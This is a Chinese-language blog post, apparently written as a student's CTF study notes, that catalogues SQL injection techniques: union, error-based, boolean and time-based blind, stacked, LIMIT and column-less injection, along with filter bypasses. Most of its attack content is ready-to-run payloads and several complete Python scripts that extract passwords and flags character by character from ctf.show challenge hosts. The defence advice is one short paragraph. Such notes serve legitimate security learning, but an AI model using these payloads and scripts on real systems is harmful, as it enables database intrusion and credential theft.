Sql注入

前言

休学在家的时候就接触了SQL注入,但是一直学的不够扎实和系统,复学后遇到关于SQL注入的题往往还是不敢下手。SQL注入比较杂是一方面,另一方面是缺乏系统的梳理。今天在这里把常见的梳理一下,主要是整理一下常见的攻击方式,具体原理层的东西大家可以百度了解。

总概

SQL注入是因为用户输入的数据被当成命令带进去而造成的,所以我们想要造成SQL注入,一直都是围绕着如何让我们用户输入的语句被解析成命令,同时也涉及到字符型,数字型等等,我们想办法去闭合原有的引号/语句,造成参数逃逸,然后去构造攻击代码。

关于SQL注入,从某一层面上来说,可以分为两大类:带数据库信息的回显和没有特别明显的回显(包括回显的信息不涉及到数据库,以及根本就无信息回显),接下来我们分别对这两个大类展开梳理。

注入类型

有明显的回显

联合注入

联合注入可以说是最早接触的一种注入,当时是打的sqli-lab靶场,这里不对具体原理累述,大家可以自行去查阅有关信息。联合注入的流程:

  • 查列数(order by)
  • 找回显位(union select 1,2,3,….)
  • 依次爆库,爆表,爆列,爆字段

给一个demo吧:

1
2
3
4
5
6
7
select * from ctf_web where id='$id'; //假设给的大致语句是这样,并且有明显的带数据库信息的回显。
?id=1'order by 1 # //这里从1开始尝试,直到报错 ,注释符也可以换成 --+

?id=-1'union select 1,2,3# //这里假设有三列,我们找到可以回显信息的位置
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#//爆表
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='xxx'# //爆列名
?id=-1'union select 1,2,group_concat(字段名) from 表名 # //爆值

然后基本上就是围绕着这个去过滤一些东西,想办法绕就好了,把过滤的一些技巧放在最后。

报错注入

报错注入是利用报错来把我们查询的信息进行外带。这里有几种常见的报错注入方式

updatexml

?id='or and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

extractvalue

?id=' or extractvalue(1,concat(0x7e,(select database()),0x7e))#

exp

?id=4' and Exp(~(select * from (select version())a))#

对版本有限制

双查询报错

?id=-1' union select 1,count(*),concat((select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e,floor(rand()*2))a from information_schema.columns group by a #

当这里的 向上取整函数 floor 被禁止时,可以换成 ceil 、round,这两个函数的效果是一样的。

汇总

参考feng师傅的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
1. floor + rand + group by
select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from user where id=1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));

2. ExtractValue
select * from user where id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3. UpdateXml
select * from user where id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1));

4. Name_Const(>5.0.12)
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;

5. Join
select * from(select * from mysql.user a join mysql.user b)c;
select * from(select * from mysql.user a join mysql.user b using(Host))c;
select * from(select * from mysql.user a join mysql.user b using(Host,User))c;

6. exp()//mysql5.7貌似不能用
select * from user where id=1 and Exp(~(select * from (select version())a));

7. geometrycollection()//mysql5.7貌似不能用
select * from user where id=1 and geometrycollection((select * from(select * from(select user())a)b));

8. multipoint()//mysql5.7貌似不能用
select * from user where id=1 and multipoint((select * from(select * from(select user())a)b));

9. polygon()//mysql5.7貌似不能用
select * from user where id=1 and polygon((select * from(select * from(select user())a)b));

10. multipolygon()//mysql5.7貌似不能用
select * from user where id=1 and multipolygon((select * from(select * from(select user())a)b));

11. linestring()//mysql5.7貌似不能用
select * from user where id=1 and linestring((select * from(select * from(select user())a)b));

12. multilinestring()//mysql5.7貌似不能用
select * from user where id=1 and multilinestring((select * from(select * from(select user())a)b));

无明显回显

之前被HVV面试问到盲注的含义和什么时候用盲注的时候,当时自己回答的是逻辑1和逻辑0出现了不同的回显,来作为条件,其实还是基于给了信息,但是如果一点儿信息都不给呢,这里就得用到时间盲注。这里把时间盲注单独来说,是因为它自己就构成了一个判断条件。盲注的本质就是去找到不同的回显条件,不管你通过什么方式和语句,你拿到不同的回显条件,你就可以盲注了。

效率问题

盲注的时候,效率是挺重要的,选择不同的字典和算法可以导致效率很大差别。有时候算法太慢,一个容器的时间用完了都没注出来23333,一种是直接按照字典顺序来爆破,复杂度是o(n²) 另外一种就是二分法,这个时间复杂度为o(nlogn)

时间盲注

没有明显的回显的时候,这个时候只能利用时间作为一个判断条件,这个时候,时间盲注就显得十分重要了。

关于时间盲注,贴一篇文章 https://xz.aliyun.com/t/5505) ,总结了几个常见的时间盲注。

sleep

//贴一个最常见的时间二分盲注的脚本,用到了 sleep

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests

url = "http://eaa97f90-cc20-4528-948c-714fbc3652b6.challenge.ctf.show:8080/api/v5.php?id=1' and "

result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
#爆破database()
#payload=f' if( ascii( substr((select database()),{i},1) )>{mid},sleep(3),1 ) --+ '

#爆破table
#payload=f' if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow_web"),{i},1))>{mid},sleep(3),1) --+'

#爆破字段名
#payload=f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="ctfshow_user5"),{i},1))>{mid},sleep(3),1) --+'

#爆值
payload = f'if( ascii(substr( (select password from ctfshow_user5 limit 24,1) ,{i},1) )> {mid} , sleep(3) , 1) --+'
try:
r = requests.get(url + payload,timeout=1)
tail=mid
except Exception as e:
head=mid+1

if head != 32:
result += chr(head)
else:
break
print(result)
benchmark

但,如果sleep被禁了呢?这个时候可以换上 benchmark 效果是一样的,把 sleep(3) 那里换一下 benchmark(10000,sha(1)) ,但是benchmark执行受服务器那边影响,有时候执行时间会有波动和误差,贴上一个优化的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import time
url='http://9b2a89ce-8e84-471c-9b2e-be262825623d.chall.ctf.show:8080/api/index.php'

flag=''
for i in range(1,100):
min=32
max=128
while 1:
j=min+(max-min)//2
if min==j:
flag+=chr(j)
print(flag)
if chr(j)=='}':
exit()
break

#payload="if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},benchmark(1000000,md5(1)),1)".format(i,j)
#payload="if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'),{},1))<{},benchmark(1000000,md5(1)),1)".format(i,j)
payload="if(ascii(substr((select group_concat(flagaabc) from ctfshow_flagxccb),{},1))<{},benchmark(1000000,md5(1)),1)".format(i,j)

data={
'ip':payload,
'debug':0
}
try:
r=requests.post(url=url,data=data,timeout=0.5)
min=j
except:
max=j
time.sleep(0.2)
time.sleep(1)

其实就是设置了两个sleep函数,避免请求过于频繁造成服务器不稳定。

笛卡尔积

其实也是通过执行语句造成一定时间延迟,产生一个判段条件,贴脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import time


url = "http://60d71394-4bcb-4ed0-83a9-0594c2903163.challenge.ctf.show:8080/api/index.php"

result = ""
i = 0
while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
# 查数据库
#payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查列名字-id.flag
#payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'"
# 查数据
payload = "select flagaac from ctfshow_flagxc"
data = {
'ip': f"if(ascii(substr(({payload}),{i},1))>{mid},(select count(*) from information_schema.columns A,information_schema.columns B),1)",
'debug':'0'
}
try:
r = requests.post(url, data=data, timeout=0.15)
tail = mid
except Exception as e:
head = mid + 1
time.sleep(0.2)
if head != 32:
result += chr(head)
else:
break
time.sleep(1)
print(result)

也是把sleep(3) 那里换成了其他造成时间延迟的函数语句。

正则

原理和上面差不多,都是为了产生一个时间延迟作为判断条件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
from time import *
url='http://fc6050d5-d70f-4130-8072-f9c0e4489bac.challenge.ctf.show:8080/api/index.php'
time="concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'))regexp '(a.*)+(a.*)+b'"
flag=''
for i in range(1,100):
min=32
max=128
while 1:
j=min+(max-min)//2
if min==j:
flag+=chr(j)
print(flag)
if chr(j)=='}':
exit()
break

#payload="if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},{},1)".format(i,j,time)
#payload="if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxca'),{},1))<{},{},1)".format(i,j,time)
payload="if(ascii(substr((select group_concat(flagaabc) from ctfshow_flagxca),{},1))<{},{},1)".format(i,j,time)

data={
'ip':payload,
'debug':0
}
try:
r=requests.post(url=url,data=data,timeout=0.3)
min=j
except:
max=j
sleep(0.2)
sleep(1)
regexp 可换成rlike

其他盲注

这里以CTFshow的一个题目为例子,没有任何过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
url = "http://7278c3bd-3813-42c6-819d-fb41ca76b0cb.challenge.ctf.show:8080/api/v4.php?id=1' and "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
#爆破database()
#payload=f' if( ascii( substr((select database()),{i},1) )>{mid},1,0 ) --+ '
#爆破table
#payload=f' if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow_web"),{i},1))>{mid},1,0) --+'

#爆破字段名
#payload=f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="ctfshow_user4"),{i},1))>{mid},1,0) --+'

#爆值
payload = f'if( ascii(substr( (select password from ctfshow_user4 limit 24,1) ,{i},1) )> {mid} , 1 , 0) -- -'
r = requests.get(url + payload)
if "admin" in r.text:
head = mid + 1
else:
tail = mid

if head != 32:
result += chr(head)
else:
break
print(result)

这是一个很常见的二分法盲注的例子,一位一位的字符去爆,当然也可能存在着过滤,比如 不让你用ascii了,我们可以用ord起到同样的效果,那ord也不让你用呢,那就直接比较字符,不去比较它们的ASCII码了,把{mid} 这里改成 '{chr(mid)}'

然后就是 regexplike 在盲注中的应用,这两个的效果是差不多的,只是like在使用的时候,需要多一个 % 来模糊匹配。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import  requests
url="http://0d05e2b9-e8a5-4bbc-b292-a404ac94b658.challenge.ctf.show:8080/select-waf.php"
dicts='ctfshow{8051349abcdef-267ghijklnmopqrstuvwxyz}'
flag=""
for i in range(1,50):
for j in dicts:
#datas="0x"+(flag+j).encode().hex() 这里转成16进制防止字符干扰
payload=f'(ctfshow_user)where(pass)regexp({flag+j})'
#print(payload)
data={"tableName":payload}
r=requests.post(url=url,data=data)
#print(r.text)
if '$user_count = 1;' in r.text:
flag+=j
print(flag)
if j == "}":
exit()
break
#然后如果是使用 like,payload改成: payload=f'(ctfshow_user)where(pass)like({flag+j+%})'

regexplike的时候,每次比较的是一个整体,已经爆破出来的数据,和之前每次比较一位字符是有区别的,但是本质都是一个一个字符爆的。

通过连接查询 right left join on 去创造不同的回显条件

给的查询语句为:select count(*) from ".$_POST['tableName'].";

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import  requests
url="http://2bc36ce1-c9d7-4b8d-9305-1ec6c7978d7e.challenge.ctf.show:8080/select-waf.php"
dicts='ctfshow{8051349abcdef-267ghijklnmopqrstuvwxyz}'
flag=""
for i in range(1,50):
for j in dicts:
datas="0x"+(flag+j).encode().hex()
payload=f'ctfshow_user as a right join ctfshow_user as b on b.pass regexp({datas})'
#print(payload)
data={"tableName":payload}
r=requests.post(url=url,data=data)
#print(r.text)
if '$user_count = 43;' in r.text:
flag+=j
print(flag)
if j == "}":
exit()
break

通过 having like 这样来完成注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
def createNum(n):
num = 'true'
if n == 1:
return 'true'
else:
for i in range(n - 1):
num += "+true"
return num
def createStrNum(s):
str=""
str+="char("+createNum(ord(s[0]))+")"
for i in s[1:]:
str+=",char("+createNum(ord(i))+")"
return str

url="http://8cd41ba6-79d8-444d-a809-277220c33e94.challenge.ctf.show:8080/select-waf.php"

flag="ctfshow{"
for i in range(0,100):
for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
payload=f'ctfshow_user group by pass having pass like(concat({createStrNum(flag+j+"%")}))'
#print(payload)
data={
'tableName':payload#"ctfshow_user group by pass having pass like(concat({}))".format(createStrNum(flag+j+"%"))
}
r=requests.post(url=url,data=data).text
if "$user_count = 0;" not in r:
flag+=j
print(flag)
if j=='}':
exit()
break

这里数字被过滤了,我们可以利用mysql特性如构造,比如:

hello.png

利用这个原理,可以把数字全部转换成 true 相加的形式。

其他注入

这里单独来说其他注入,因为有些有回显有些无回显,就单独拿出来说了。

limit下注入

报错方式

procedure analyse(extractvalue(1,concat(1,database())),1)

时间盲注

PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

堆叠注入

堆叠注入可以执行多个mysql语句,大多数注入方式比较巧妙,比如涉及到改表的名字,交换列位置(其实就是改一下两个列的名字),还可以用到预编译,姿势挺多的。

结合预处理

username=user1';prepare myangs from concat('se','lect ','database()');execute myangs;

这里用 concat 来绕过过滤,或者直接把我们想要查询的语句 16 进制编码一下:

username=user1';prepare myangs from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;execute myangs

结合handler
1
?username=';handler `ctfshow_flagasa` open;handler `ctfshow_flagasa`read first;

这里表名需要用一下反引号

修改表名这个方法可以参考一下强网杯随便注。

增删改

之前都说的是查(select),其实 增删改也差不多,也可以注入查的语句,最后回显给我们,也可以涉及到时间盲注,布尔盲注等等。本质还是差不多的,只是有一个细节需要注意,删和改 作用于多条记录,所以写时间盲注脚本的时候,需要算好时间。在sleep()函数那里做一个更改

无列名注入

这个是在我们拿不到列名的情况下完成注入攻击,其实是给列名取了一个别名。我们在本地测试一下:

语句:

1
2
select `1` from (select 1,2 union select * from ctf) users;
select a from (select 1 as a,2 union select * from ctf) users;

world.png

绕过&trick

就是常见的一些绕过过滤的方式

比如空格被过滤,可以换 /**/ , (), %09 等

双写绕过,大小写绕过等

information_schema.tables 表用不了了,我们可以换成 mysql.innodb_table_stats 或者 mysql.innodb_index_stats 来获得 table_name

不过后面就需要利用到无列名注入了。

ffifdyop 绕过 md5($password,true)

还有一些比如反斜杠 \

等等还有很多。

防御

SQL注入的防御分两块

一方面是过滤危险参数,但是这点不是最佳方案,因为这样会降低用户体验,某安全大牛曾经说过,安全问题的解决不应该以牺牲用户体验为代价。

另一方面就是做到代码和用户输入数据的彻底分离,数据就是数据,代码就是代码。但是这个对程序员编程素养要求挺高,安全素颜也挺高。不得不说,SQL注入仍还是实战中常见的漏洞。

小结

这里把常见的SQL注入姿势做了一个梳理,当然变形很多,一篇文章无法总结所有的姿势,也远不止这些。以这些为基点,去发散自己的思维,万变不离其宗。这才是核心。遇到问题先冷静思考。要开始框架的慢慢审计了( 太菜了)